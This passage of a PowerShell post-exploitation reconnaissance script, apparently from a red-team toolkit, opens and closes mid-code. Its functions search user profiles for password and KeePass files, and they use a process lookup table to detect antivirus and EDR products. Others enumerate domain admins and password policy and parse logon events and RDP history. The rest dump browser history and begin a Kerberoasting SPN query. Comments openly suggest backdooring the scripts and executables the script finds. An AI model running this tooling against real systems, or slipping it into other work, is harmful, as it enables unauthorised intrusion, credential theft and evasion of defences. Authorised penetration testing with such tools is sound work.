Format-Table -auto | Out-String + + # Get Program Files (x86) + "`n[+] System Drive - Program Files (x86):`n" + GCI "$ENV:ProgramFiles (x86)\" | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String + + # Get %USERPROFILE%\Desktop top level file listing + "`n[+] Current User Desktop:`n" + GCI $ENV:USERPROFILE\Desktop | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String + + # Get %USERPROFILE%\Documents top level file listing + "`n[+] Current User Documents:`n" + GCI $ENV:USERPROFILE\Documents | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String + + # Get Files in the %USERPROFILE% directory with certain extensions or phrases + "`n[+] Current User Profile (*pass*,*diagram*,*.pdf,*.vsd,*.doc,*docx,*.xls,*.xlsx,*.kdbx,*.key,KeePass.config):`n" + GCI $ENV:USERPROFILE\ -recurse -include *pass*,*diagram*,*.pdf,*.vsd,*.doc,*docx,*.xls,*.xlsx,*.kdbx,*.key,KeePass.config | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String + + # Get Host File + "`n[+] Contents of Hostfile:`n`n" + (Get-Content -path "$($ENV:WINDIR)\System32\drivers\etc\hosts") -join "`r`n" +} + +function Get-RecycleBin { +<# +.SYNOPSIS + +Gets the contents of the Recycle Bin for the current user + +#> + Write-Verbose "Enumerating deleted files in Recycle Bin..." + Try { + $Shell = New-Object -ComObject Shell.Application + $Recycler = $Shell.NameSpace(0xa) + If (($Recycler.Items().Count) -gt 0) { + $Output += $Recycler.Items() | Sort ModifyDate -Descending | Select-Object Name, Path, ModifyDate, Size, Type + } + Else { + Write-Verbose "No deleted items found in Recycle Bin!`n" + } + } + Catch {Write-Verbose "[-] Error getting deleted items from Recycle Bin! $($Error[0])`n"} + + Return $Output +} + +function Get-AVInfo { +<# +.SYNOPSIS + + Gets the installed AV product and current status + +#> + Write-Verbose "Enumerating installed AV product..." + + $AntiVirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct -ComputerName $env:computername + + switch ($AntiVirusProduct.productState) { + "262144" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} + "262160" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} + "266240" {$defstatus = "Up to date" ;$rtstatus = "Enabled"} + "266256" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} + "393216" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} + "393232" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} + "393488" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} + "397312" {$defstatus = "Up to date" ;$rtstatus = "Enabled"} + "397328" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} + "397584" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} + "397568" {$defstatus = "Up to date"; $rtstatus = "Enabled"} + "393472" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} + default {$defstatus = "Unknown" ;$rtstatus = "Unknown"} + } + + # Create hash-table + $ht = @{} + $ht.Computername = $env:computername + $ht.Name = $AntiVirusProduct.displayName + $ht.'Product GUID' = $AntiVirusProduct.instanceGuid + $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe + $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe + $ht.'Definition Status' = $defstatus + $ht.'Real-time Protection Status' = $rtstatus + + # Convert to PS object and then format as a string for file output + $Output = New-Object -TypeName PSObject -Property $ht #|Format-List + + Return $Output +} + +function Get-McafeeLogs { +<# +.SYNOPSIS + + Searches Application log for "McLogEvent" Provider associated with McAfee AV products and selects the first 50 events from the last 14 days + +#> + Write-Verbose "Enumerating Mcafee AV events..." + # Get events from the last two weeks + $date = (get-date).AddDays(-14) + $ProviderName = "McLogEvent" + # Try to get McAfee AV event logs + Try { + $McafeeLogs = Get-WinEvent -FilterHashTable @{ logname = "Application"; StartTime = $date; ProviderName = $ProviderName; } + $McafeeLogs |Select-Object -First 50 ID, Providername, DisplayName, TimeCreated, Level, UserID, ProcessID, Message + } + Catch { + Write-Verbose "[-] Error getting McAfee AV event logs! $($Error[0])`n" + } +} + +function Get-AVProcesses { +<# +.SYNOPSIS + + Returns suspected AV processes based on name matching + + AV process list adapted from Beau Bullock's HostRecon AV detection code + https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1 + +#> + Write-Verbose "Enumerating potential AV processes..." + $processes = Get-Process + + $avlookuptable = @{ + #explorer = "Explorer (testing)" + mcshield = "McAfee AV" + windefend = "Windows Defender AV" + MSASCui = "Windows Defender AV" + msmpeng = "Windows Defender AV" + msmpsvc = "Windows Defender AV" + WRSA = "WebRoot AV" + savservice = "Sophos AV" + TMCCSF = "Trend Micro AV" + "symantec antivirus" = "Symantec AV" + mbae = "MalwareBytes Anti-Exploit" + parity = "Bit9 application whitelisting" + cb = "Carbon Black behavioral analysis" + "bds-vision" = "BDS Vision behavioral analysis" + Triumfant = "Triumfant behavioral analysis" + CSFalcon = "CrowdStrike Falcon EDR" + ossec = "OSSEC intrusion detection" + TmPfw = "Trend Micro firewall" + dgagent = "Verdasys Digital Guardian DLP" + kvoop = "Unknown DLP process" + } + + ForEach ($process in $processes) { + ForEach ($key in $avlookuptable.keys){ + + if ($process.ProcessName -match $key){ + New-Object -TypeName PSObject -Property @{ + AVProduct = ($avlookuptable).Get_Item($key) + ProcessName = $process.ProcessName + PID = $process.ID + } + } + } + } +} + +function Get-DomainAdmins { +<# +.SYNOPSIS + +Enumerates admininistrator type accounts within the domain using code adapted from Dafthack HostRecon.ps1 + +#> + Write-Verbose "Enumerating Domain Administrators..." + $Domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain() + + Try { + $DAgroup = ([adsi]"WinNT://$domain/Domain Admins,group") + $Members = @($DAgroup.psbase.invoke("Members")) + [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")} + "`n[+] Domain Admins:`n" + $MemberNames + + $EAgroup = ([adsi]"WinNT://$domain/Enterprise Admins,group") + $Members = @($EAgroup.psbase.invoke("Members")) + [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")} + "`n[+] Enterprise Admins:`n" + $MemberNames + + $SAgroup = ([adsi]"WinNT://$domain/Schema Admins,group") + $Members = @($DAgroup.psbase.invoke("Members")) + [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")} + "`n[+] Schema Admins:`n" + $MemberNames + } + Catch { + Write-Verbose "[-] Error connecting to the domain while retrieving group members." + } +} + +function Get-DomainAccountPolicy { +<# +.SYNOPSIS + +Enumerates account policy from the domain with code adapted from Dafthack HostRecon.ps1 + +#> + +Write-Verbose "Enumerating domain account policy" +$Domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain() + + Try { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$domain) + $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + $CurrentDomain = [ADSI]"WinNT://$env:USERDOMAIN" + $Name = @{Name="DomainName";Expression={$_.Name}} + $MinPassLen = @{Name="Minimum Password Length";Expression={$_.MinPasswordLength}} + $MinPassAge = @{Name="Minimum Password Age (Days)";Expression={$_.MinPasswordAge.value/86400}} + $MaxPassAge = @{Name="Maximum Password Age (Days)";Expression={$_.MaxPasswordAge.value/86400}} + $PassHistory = @{Name="Enforce Password History (Passwords remembered)";Expression={$_.PasswordHistoryLength}} + $AcctLockoutThreshold = @{Name="Account Lockout Threshold";Expression={$_.MaxBadPasswordsAllowed}} + $AcctLockoutDuration = @{Name="Account Lockout Duration (Minutes)";Expression={if ($_.AutoUnlockInterval.value -eq -1) {'Account is locked out until administrator unlocks it.'} else {$_.AutoUnlockInterval.value/60}}} + $ResetAcctLockoutCounter = @{Name="Observation Window";Expression={$_.LockoutObservationInterval.value/60}} + + $CurrentDomain | Select-Object $Name,$MinPassLen,$MinPassAge,$MaxPassAge,$PassHistory,$AcctLockoutThreshold,$AcctLockoutDuration,$ResetAcctLockoutCounter + } + Catch { + Write-Verbose "[-] Error connecting to the domain while retrieving password policy." + } +} + +# PowerSploit Functions with modifications + +function Get-ComputerDetails { +<# +.SYNOPSIS + +This script is used to get useful information from a computer. + +Function: Get-ComputerDetails +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +This script is used to get useful information from a computer. Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +.PARAMETER ToString + +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +.EXAMPLE + +Get-ComputerDetails +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetails -ToString +Gets information about the computer and outputs it as raw text. + +.NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell + +#> + + Param( + [Parameter(Position=0)] + [Switch] + $ToString + ) + Write-Verbose "Enumerating Event Logs for interesting entries (Get-ComputerDetails)..." + + # Added Try/Catch to prevent parent from exiting if we don't have rights to read the security log. -EA preferences didn't make a difference. + # This was only an issue when executed through Empire + Try { + $SecurityLog = Get-EventLog -LogName Security + $Filtered4624 = Find-4624Logons $SecurityLog + $Filtered4648 = Find-4648Logons $SecurityLog + } + Catch{} + + $AppLockerLogs = Find-AppLockerLogs + $PSLogs = Find-PSScriptsInPSAppLog + $RdpClientData = Find-RDPClientConnections + + if ($ToString) + { + Write-Output "`nEvent ID 4624 (Logon):" + Write-Output $Filtered4624.Values + Write-Output "`nEvent ID 4648 (Explicit Credential Logon):" + Write-Output $Filtered4648.Values + Write-Output "`nAppLocker Process Starts:" + Write-Output $AppLockerLogs.Values + Write-Output "`nPowerShell Script Executions:" + Write-Output $PSLogs.Values + Write-Output "`nRDP Client Data:" + Write-Output $RdpClientData.Values + } + else + { + $Properties = @{ + LogonEvent4624 = $Filtered4624.Values + LogonEvent4648 = $Filtered4648.Values + AppLockerProcessStart = $AppLockerLogs.Values + PowerShellScriptStart = $PSLogs.Values + RdpClientData = $RdpClientData.Values + } + + $ReturnObj = New-Object PSObject -Property $Properties + return $ReturnObj + } +} + + +function Find-4648Logons +{ +<# +.SYNOPSIS + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +Function: Find-4648Logons +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +.EXAMPLE + +Find-4648Logons +Gets the unique 4648 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param( + $SecurityLog + ) + + $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648} + $ReturnInfo = @{} + + foreach ($ExplicitLogon in $ExplicitLogons) + { + $Subject = $false + $AccountWhosCredsUsed = $false + $TargetServer = $false + $SourceAccountName = "" + $SourceAccountDomain = "" + $TargetAccountName = "" + $TargetAccountDomain = "" + $TargetServer = "" + foreach ($line in $ExplicitLogon.Message -split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $Subject = $true + } + elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") + { + $Subject = $false + $AccountWhosCredsUsed = $true + } + elseif ($line -cmatch "^Target\sServer:") + { + $AccountWhosCredsUsed = $false + $TargetServer = $true + } + elseif ($Subject -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $SourceAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $SourceAccountDomain = $Matches[1] + } + } + elseif ($AccountWhosCredsUsed -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $TargetAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $TargetAccountDomain = $Matches[1] + } + } + elseif ($TargetServer -eq $true) + { + if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") + { + $TargetServer = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$")) + { + $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4648 + LogSource = "Security" + SourceAccountName = $SourceAccountName + SourceDomainName = $SourceAccountDomain + TargetAccountName = $TargetAccountName + TargetDomainName = $TargetAccountDomain + TargetServer = $TargetServer + Count = 1 + #Times = @($ExplicitLogon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + #$ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated + } + } + } + + return $ReturnInfo +} + +function Find-4624Logons +{ +<# +.SYNOPSIS + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +Function: Find-4624Logons +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +.EXAMPLE + +Find-4624Logons +Find unique 4624 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param ( + $SecurityLog + ) + + $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624} + $ReturnInfo = @{} + + foreach ($Logon in $Logons) + { + $SubjectSection = $false + $NewLogonSection = $false + $NetworkInformationSection = $false + $AccountName = "" + $AccountDomain = "" + $LogonType = "" + $NewLogonAccountName = "" + $NewLogonAccountDomain = "" + $WorkstationName = "" + $SourceNetworkAddress = "" + $SourcePort = "" + + foreach ($line in $Logon.Message -Split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $SubjectSection = $true + } + elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") + { + $LogonType = $Matches[1] + } + elseif ($line -cmatch "^New\sLogon:$") + { + $SubjectSection = $false + $NewLogonSection = $true + } + elseif ($line -cmatch "^Network\sInformation:$") + { + $NewLogonSection = $false + $NetworkInformationSection = $true + } + elseif ($SubjectSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $AccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $AccountDomain = $Matches[1] + } + } + elseif ($NewLogonSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $NewLogonAccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $NewLogonAccountDomain = $Matches[1] + } + } + elseif ($NetworkInformationSection) + { + if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") + { + $WorkstationName = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") + { + $SourceNetworkAddress = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") + { + $SourcePort = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = "Security" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + #Times = @($Logon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + #$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } + + return $ReturnInfo +} + + +function Find-AppLockerLogs +{ +<# +.SYNOPSIS + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +Function: Find-AppLockerLogs +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +.EXAMPLE + +Find-AppLockerLogs +Find process creations from AppLocker logs. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002} + + foreach ($Log in $AppLockerLogs) + { + $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) + $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) + + $ExeName = $Log.Properties[10].Value + + $Key = $UserName.ToString() + "::::" + $ExeName + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + Exe = $ExeName + User = $UserName.Value + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + + return $ReturnInfo +} + + +function Find-PSScriptsInPSAppLog +{ +<# +.SYNOPSIS + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +Function: Find-AppLockerLogs +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +.EXAMPLE + +Find-PSScriptsInPSAppLog +Find unique PowerShell scripts being executed from the PowerShell operational log. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100} + + foreach ($Log in $Logs) + { + $ContainsScriptName = $false + $LogDetails = $Log.Message -split "`r`n" + + $FoundScriptName = $false + foreach($Line in $LogDetails) + { + if ($Line -imatch "^\s*Script\sName\s=\s(.+)") + { + $ScriptName = $Matches[1] + $FoundScriptName = $true + } + elseif ($Line -imatch "^\s*User\s=\s(.*)") + { + $User = $Matches[1] + } + } + + if ($FoundScriptName) + { + $Key = $ScriptName + "::::" + $User + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + ScriptName = $ScriptName + UserName = $User + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + } + + return $ReturnInfo +} + + +function Find-RDPClientConnections +{ +<# +.SYNOPSIS + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +Function: Find-RDPClientConnections +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +.EXAMPLE + +Find-RDPClientConnections +Find unique saved RDP client connections. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + $Null = New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS -ErrorAction SilentlyContinue + + #Attempt to enumerate the servers for all users + $Users = Get-ChildItem -Path "HKU:\" + foreach ($UserSid in $Users.PSChildName) + { + $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue + + foreach ($Server in $Servers) + { + $Server = $Server.PSChildName + $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint + + $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint + + if (!$ReturnInfo.ContainsKey($Key)) + { + $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) + $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value + + $Properties = @{ + CurrentUser = $User + Server = $Server + UsernameHint = $UsernameHint + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + } + } + + return $ReturnInfo +} + +# End PowerSploit Functions + +function Get-BrowserInformation { +<# + .SYNOPSIS + + Dumps Browser Information + Author: @424f424f + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1 + + .DESCRIPTION + + Enumerates browser history or bookmarks for a Chrome, Internet Explorer, + and/or Firefox browsers on Windows machines. + + .PARAMETER Browser + + The type of browser to enumerate, 'Chrome', 'IE', 'Firefox' or 'All' + + .PARAMETER Datatype + + Type of data to enumerate, 'History' or 'Bookmarks' + + .PARAMETER UserName + + Specific username to search browser information for. + + .PARAMETER Search + + Term to search for + + .EXAMPLE + + PS C:\> Get-BrowserInformation + + Enumerates browser information for all supported browsers for all current users. + + .EXAMPLE + + PS C:\> Get-BrowserInformation -Browser IE -Datatype Bookmarks -UserName user1 + + Enumerates bookmarks for Internet Explorer for the user 'user1'. + + .EXAMPLE + + PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName user1 -Search 'github' + + Enumerates bookmarks for Internet Explorer for the user 'user1' and only returns + results matching the search term 'github'. +#> + [CmdletBinding()] + Param + ( + [Parameter(Position = 0)] + [String[]] + [ValidateSet('Chrome','IE','FireFox', 'All')] + $Browser = 'All', + + [Parameter(Position = 1)] + [String[]] + [ValidateSet('History','Bookmarks','All')] + $DataType = 'All', + + [Parameter(Position = 2)] + [String] + $UserName = '', + + [Parameter(Position = 3)] + [String] + $Search = '' + ) + + Write-Verbose "Enumerating web browser history..." + + function ConvertFrom-Json20([object] $item){ + #http://stackoverflow.com/a/29689642 + Add-Type -AssemblyName System.Web.Extensions + $ps_js = New-Object System.Web.Script.Serialization.JavaScriptSerializer + return ,$ps_js.DeserializeObject($item) + + } + + function Get-ChromeHistory { + $Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History" + if (-not (Test-Path -Path $Path)) { + Write-Verbose "[-] Could not find Chrome History for username: $UserName" + } + $Regex = '(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?' + $Value = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"|Select-String -AllMatches $regex |% {$_.Matches} + $Value | ForEach-Object { + $Key = $_ + if ($Key -match $Search){ + New-Object -TypeName PSObject -Property @{ + User = $UserName + Browser = 'Chrome' + DataType = 'History' + Data = $_.Value + } + } + } + } + + function Get-ChromeBookmarks { + $Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\Bookmarks" + if (-not (Test-Path -Path $Path)) { + Write-Verbose "[-] Could not find Chrome Bookmarks for username: $UserName" + } else { + $Json = Get-Content $Path + $Output = ConvertFrom-Json20($Json) + $Jsonobject = $Output.roots.bookmark_bar.children + # Modified parsing to properly iterate of the array of dictionaries + $JsonObject | ForEach-Object { + New-Object -TypeName PSObject -Property @{ + User = $UserName + Browser = 'Chrome' + DataType = 'Bookmark' + Data = $_.item('url') + Name = $_.item('name') + } + } + } + } + + function Get-InternetExplorerHistory { + #https://crucialsecurityblog.harris.com/2011/03/14/typedurls-part-1/ + + $Null = New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS -ErrorAction SilentlyContinue + $Paths = Get-ChildItem 'HKU:\' -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach($Path in $Paths) { + + $User = ([System.Security.Principal.SecurityIdentifier] $Path.PSChildName).Translate( [System.Security.Principal.NTAccount]) | Select -ExpandProperty Value + + $Path = $Path | Select-Object -ExpandProperty PSPath + + $UserPath = "$Path\Software\Microsoft\Internet Explorer\TypedURLs" + if (-not (Test-Path -Path $UserPath)) { + Write-Verbose "[-] Could not find IE History for SID: $Path" + } + else { + Get-Item -Path $UserPath -ErrorAction SilentlyContinue | ForEach-Object { + $Key = $_ + $Key.GetValueNames() | ForEach-Object { + $Value = $Key.GetValue($_) + if ($Value -match $Search) { + New-Object -TypeName PSObject -Property @{ + User = $UserName + Browser = 'IE' + DataType = 'History' + Data = $Value + } + } + } + } + } + } + } + + function Get-InternetExplorerBookmarks { + $URLs = Get-ChildItem -Path "$Env:systemdrive\Users\" -Filter "*.url" -Recurse -ErrorAction SilentlyContinue + ForEach ($URL in $URLs) { + if ($URL.FullName -match 'Favorites') { + $User = $URL.FullName.split('\')[2] + Get-Content -Path $URL.FullName | ForEach-Object { + try { + if ($_.StartsWith('URL')) { + # parse the .url body to extract the actual bookmark location + $URL = $_.Substring($_.IndexOf('=') + 1) + + if($URL -match $Search) { + New-Object -TypeName PSObject -Property @{ + User = $User + Browser = 'IE' + DataType = 'Bookmark' + Data = $URL + } + } + } + } + catch { + Write-Verbose "Error parsing url: $_" + } + } + } + } + } + + function Get-FirefoxHistory { + $Path = "$Env:systemdrive\Users\$UserName\AppData\Roaming\Mozilla\Firefox\Profiles\" + if (-not (Test-Path -Path $Path)) { + Write-Verbose "[-] Could not find FireFox History for username: $UserName" + } + else { + $Profiles = Get-ChildItem -Path "$Path\*.default\" -ErrorAction SilentlyContinue + # Modified Regex to match SQLite DB + $Regex = '(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?' + $Value = Get-Content $Profiles\places.sqlite | Select-String -Pattern $Regex -AllMatches | Select-Object -ExpandProperty Matches |Sort -Unique + $Value | ForEach-Object { + New-Object -TypeName PSObject -Property @{ + User = $UserName + Browser = 'Firefox' + DataType = 'History' + Data = $_.Value + } + } + } + } + + if (!$UserName) { + $UserName = "$ENV:USERNAME" + } + + if(($Browser -Contains 'All') -or ($Browser -Contains 'Chrome')) { + if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) { + Get-ChromeHistory + } + if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) { + Get-ChromeBookmarks + } + } + + if(($Browser -Contains 'All') -or ($Browser -Contains 'IE')) { + if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) { + Get-InternetExplorerHistory + } + if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) { + Get-InternetExplorerBookmarks + } + } + + if(($Browser -Contains 'All') -or ($Browser -Contains 'FireFox')) { + if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) { + Get-FireFoxHistory + } + } +} + +function Get-ActiveIEURLS { +<# +.SYNOPSIS + +Returns a list of URLs currently loaded in the browser +Source: http://windowsitpro.com/powershell/retrieve-information-open-browsing-sessions +#> + Param([switch]$Full, [switch]$Location, [switch]$Content) + Write-Verbose "Enumerating active Internet Explorer windows" + $urls = (New-Object -ComObject Shell.Application).Windows() | + Where-Object {$_.LocationUrl -match "(^https?://.+)|(^ftp://)"} | + Where-Object {$_.LocationUrl} + if ($urls) { + if($Full) + { + $urls + } + elseif($Location) + { + $urls | Select Location* + } + elseif($Content) + { + $urls | ForEach-Object { + $_.LocationName; + $_.LocationUrl; + $_.Document.body.innerText + } + } + else + { + $urls | Select-Object LocationUrl, LocationName + } + } + else { + Write-Verbose "[-] No active Internet Explorer windows found" + } +} + +# End Browser Enumeration + +function Get-UserSPNS { +<# + .SYNOPSIS + + # Edits by Tim Medin + # File: GetUserSPNS.ps1 + # Contents: Query the domain to find SPNs that use User accounts + # Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast + # The password hash used with Computer accounts are infeasible to + # crack; however, if the User account associated with an SPN may have + # a crackable password. This tool will find those accounts. You do not + # need any special local or domain permissions to run this script. + # This script on a script supplied by Microsoft (details below). + # History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$False,Position=1)] [string]$GCName, + [Parameter(Mandatory=$False)] [string]$Filter, + 